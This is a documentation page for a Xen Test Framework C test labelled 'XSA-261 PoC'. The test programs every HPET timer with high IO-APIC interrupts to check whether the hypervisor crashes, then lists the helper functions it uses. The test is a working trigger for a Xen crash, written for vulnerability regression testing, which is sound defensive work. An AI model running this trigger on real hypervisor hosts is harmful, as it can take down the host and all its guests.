Xen Test Framework
main.c
Go to the documentation of this file.
1 
20 #include <xtf.h>
21 
22 const char test_title[] = "XSA-261 PoC";
23 
24 void test_main(void)
25 {
26  unsigned int timer, irq;
27 
28  if ( hpet_init() || !hpet_nr_timers )
29  return xtf_skip("Skip: No working HPET\n");
30 
31  if ( ioapic_init() )
32  return xtf_skip("Skip: No working IO-APIC\n");
33 
34  /*
35  * Attempt to test all timers using non-ISA IRQs, regardless of whether
36  * the timer supports them or not.
37  */
38  for ( timer = 0; timer < hpet_nr_timers; timer++ )
39  {
40  for ( irq = 16; irq < 32; irq++ )
41  {
42  if ( ioapic_set_mask(irq, false) )
43  return xtf_error("Error: cannot unmask IRQ %u on the IO APIC\n",
44  irq);
45 
46  hpet_init_timer(timer, irq, 1, false, false, false);
47 
48  while ( hpet_read_counter() < 1 );
49  }
50  }
51 
52  /* Xen still hasn't crashed? Most likely not vulnerable. */
53  xtf_success("Success: Probably not vulnerable to XSA-261\n");
54 }
55 
56 /*
57  * Local variables:
58  * mode: C
59  * c-file-style: "BSD"
60  * c-basic-offset: 4
61  * tab-width: 4
62  * indent-tabs-mode: nil
63  * End:
64  */
int hpet_init(void)
Discover and initialise the HPET.
Definition: hpet.c:29
unsigned int hpet_nr_timers
Definition: hpet.c:13
int ioapic_set_mask(unsigned int entry, bool mask)
Set the mask bit on a redirection entry.
Definition: io-apic.c:29
void hpet_init_timer(unsigned int nr, unsigned int irq, uint64_t ticks, bool level, bool periodic, bool mode32bit)
Setup and enable a specific HPET timer.
Definition: hpet.c:49
void xtf_success(const char *fmt,...)
Report test success.
Definition: report.c:38
void test_main(void)
To be implemented by each test, as its entry point.
Definition: main.c:137
void xtf_skip(const char *fmt,...)
Report a test skip.
Definition: report.c:66
const char test_title[]
The title of the test.
Definition: main.c:14
void xtf_error(const char *fmt,...)
Report a test error.
Definition: report.c:80
static uint64_t hpet_read_counter(void)
Fetch the HPET main counter register.
Definition: hpet.h:62
int ioapic_init(void)
Discover and initialise the IO-APIC.
Definition: io-apic.c:15